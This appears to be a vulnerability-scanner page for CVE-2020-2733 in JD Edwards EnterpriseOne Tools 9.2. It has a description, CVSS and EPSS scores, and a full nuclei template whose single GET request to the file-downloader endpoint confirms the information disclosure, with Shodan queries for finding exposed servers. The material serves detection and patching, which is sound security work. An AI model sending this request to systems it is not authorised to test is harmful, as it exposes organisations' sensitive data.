JD Edwards EnterpriseOne Tools 9.2 - Information Disclosure

criticalseverity

9.8CVSS score

18.6%likelihood of exploitation, next 30 days

97%of all CVEs are less likely

Readycheck to confirm it

JD Edwards EnterpriseOne Tools 9.2 is susceptible to information disclosure via the Monitoring and Diagnostics component. An attacker with network access via HTTP can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.

Impact

Successful exploitation of this vulnerability could lead to unauthorized access to sensitive information.

Fix

Apply the latest security patches or updates provided by the vendor to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/manage/fileDownloader?sec=1
Positive when: contains "ACHCJK" AND contains in header "text/plain" AND status 200

Run it with nuclei: nuclei -id CVE-2020-2733 -u <target>

The full check

id: CVE-2020-2733

info:
  name: JD Edwards EnterpriseOne Tools 9.2 - Information Disclosure
  author: DhiyaneshDk,pussycat0x
  severity: critical
  description: |
    JD Edwards EnterpriseOne Tools 9.2 is susceptible to information disclosure via the Monitoring and Diagnostics component. An attacker with network access via HTTP can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    Successful exploitation of this vulnerability could lead to unauthorized access to sensitive information.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to mitigate this vulnerability.
  reference:
    - https://redrays.io/cve-2020-2733-jd-edwards/
    - https://www.oracle.com/security-alerts/cpuapr2020.html
    - https://nvd.nist.gov/vuln/detail/CVE-2020-2733
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-2733
    epss-score: 0.18645
    epss-percentile: 0.97288
    cpe: cpe:2.3:a:oracle:jd_edwards_enterpriseone_tools:9.2:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: oracle
    product: jd_edwards_enterpriseone_tools
    shodan-query:
      - port:8999 product:"Oracle WebLogic Server"
      - port:8999 product:"oracle weblogic server"
  tags: cve2020,cve,oracle,weblogic,disclosure,exposure,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/manage/fileDownloader?sec=1'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'ACHCJK'

      - type: word
        part: header
        words:
          - "text/plain"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from